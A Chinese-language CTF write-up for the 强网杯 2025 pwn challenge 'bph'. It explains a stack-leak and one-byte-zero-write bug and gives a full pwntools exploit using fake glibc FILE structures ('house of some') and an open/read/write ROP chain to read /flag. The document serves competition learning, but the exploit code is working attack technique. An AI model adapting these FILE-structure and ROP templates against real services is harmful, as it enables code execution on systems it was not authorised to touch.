强网杯-2025-pwn-bph
解题思路:
第一处漏洞是这里,栈上数据没有初始化可以泄露信息,泄露出来的puts+偏移量用这个在线查libc的网站可以找到libc版本(在目标环境获得的),文章顶部有libc.so.6
这里malloc给一个比较大的值,比如64位地址,比如libc上的地址,malloc会失败返回值为0
这样接下来赋值0的语句,就会像size-1的位置写一比特0,即任意地址1比特0写,
这里用了stdin的一个任意地址写的trick
这个博客讲的比较清楚
接下里用house of some
这个博客写的也很清楚
都是直接套板子就可以,最后rop在io flush all 的ret构造,因为house of some核心就是程序退出时执行io flush all,而io flush all for 循环执行:用构造的fake_io的_chain字段连接的所有fake_io
def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False) sa(b'Please input your token: ',b'a'*(0x20)+b'deadbeef')ru(b'deadbeef')libc.address = uu64(ru(b'.',drop=True)) - 0x7e - 0xadd30leak('libc_address',libc.address)io_2_1_stdin = libc.sym['_IO_2_1_stdin_']leak('io_2_1_stdin',io_2_1_stdin)Create(io_2_1_stdin+0x38 +1,b'0')s(p64(0)*3+p64(io_2_1_stdin-0x300)+p64(io_2_1_stdin+0x70))environ = libc.sym['environ']fake_file_read_addr = io_2_1_stdin-0x200fake_file_read_1_addr = io_2_1_stdin-0x100_IO_file_jumps = libc.sym['_IO_file_jumps']fake_file_write = flat({ # _IO_2_1_stdout_0x00: 0x1800, # _flags0x20: environ,#需要泄露的起始地址0x28: environ+0x8,#需要泄露的终止地址0x70: 1, # _fileno-->stdout0x68: fake_file_read_addr, # _chain0x88: io_2_1_stdin-0x10,0xd8: _IO_file_jumps, # vtable}, filler=b"\x00")fake_file_read = flat( # _IO_2_1_stdout_ + 0x100{0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: fake_file_read_1_addr, # _IO_write_base 下一个要写入的io_file的开始地址0x28: fake_file_read_1_addr+0x100, # _IO_write_ptr 写入的结束地址0x68: fake_file_read_1_addr, # _chain 指向下一个io_file0x70: 0, # _fileno0x88: io_2_1_stdin-0x10,0xc0: 0, #_modes0xd8: _IO_file_jumps - 0x8, #_vtables},filler=b'\x00')payload = fake_file_write.ljust(0x100, b'\x00')payload += fake_file_read.ljust(0x200, b'\x00')recover_stdin = flat({0x00:[0xfbad208b,p64(io_2_1_stdin+131)*7,p64(io_2_1_stdin+132),] , # flag,0x68:io_2_1_stdin-0x300 #_chain 指向下一个io_file(fake_file_write)}, filler=b"\x00")payload += recover_stdins(payload.ljust(0x370, b'\x00'))sl(b'6')sl(b'6')ru(b'bye\n')leak_stack = uu64(r(8))leak('leak_stack',leak_stack)# b *0x7ffff7e1437cret_of_io_flush_all_stack =leak_stack - ( 0x7fffffffee38-0x7fffffffec18)fake_file_read_1 = flat( # _IO_2_1_stdout_ + 0x100{0x00: 0x8000 | 0x40 | 0x1000, #_flags0x20: ret_of_io_flush_all_stack-8, # 注意这里写起始地址,0x28: ret_of_io_flush_all_stack+0x100, # 结束地址0x68: 0, # _chain 指向下一个io_file0x70: 0, # _fileno0x88: io_2_1_stdin-0x10,0xc0: 0, #_modes0xd8: _IO_file_jumps - 0x8, #_vtables},filler=b'\x00')s(fake_file_read_1.ljust(0x100, b'\x00'))# 0x000000000002882f : ret# 0x000000000010f78b : pop rdi ; retpop_rdi_ret = libc.address + 0x000000000010f78b# 0x0000000000110a7d : pop rsi ; retpop_rsi_ret = libc.address + 0x0000000000110a7d# 0x00000000000a877e : pop rcx ; retpop_rcx_ret = libc.address + 0x00000000000a877e# 0x00000000000ab8a1 : pop rdx ; or byte ptr [rcx - 0xa], al ; retpop_rdx_xor_ret = libc.address + 0x00000000000ab8a1# 0x00000000000dd237 : pop rax ; retpop_rax_ret = libc.address + 0x00000000000dd237# > ROPgadget --binary ./libc.so.6 --depth 20| grep 'ret' | grep 'mov rdi, rax'# 如果rdx < rcx,则不跳转 执行ret# 0x000000000005f036 : mov rdi, rax ; cmp rdx, rcx ; jae 0x5f020 ; mov rax, rsi ; retmov_rdi_rax_cmp_rdx_rcx_mov_rax_rsi_jae_ret = libc.address + 0x000000000005f036# 98fd5: 0f 05 syscall# 98fd7: c3 retsyscall_ret =libc.address + 0x98fd5rop = flat({0x00:b'/flag\x00',0x08:[# openat(0,"/flag",0)pop_rdi_ret,0,pop_rsi_ret,ret_of_io_flush_all_stack-0x8,pop_rcx_ret,ret_of_io_flush_all_stack-0x10,pop_rdx_xor_ret,0,pop_rax_ret,257,syscall_ret,# read('rax',ret_of_io_flush_all_stack-0x100,0x30)mov_rdi_rax_cmp_rdx_rcx_mov_rax_rsi_jae_ret,pop_rsi_ret,ret_of_io_flush_all_stack-0x100,pop_rcx_ret,ret_of_io_flush_all_stack-0x10,pop_rdx_xor_ret,0x30,pop_rax_ret,0,syscall_ret,# write(1,ret_of_io_flush_all_stack-0x100,0x30)pop_rdi_ret,1,pop_rsi_ret,ret_of_io_flush_all_stack-0x100,pop_rcx_ret,ret_of_io_flush_all_stack-0x10,pop_rdx_xor_ret,0x30,pop_rax_ret,1,syscall_ret]})s(rop)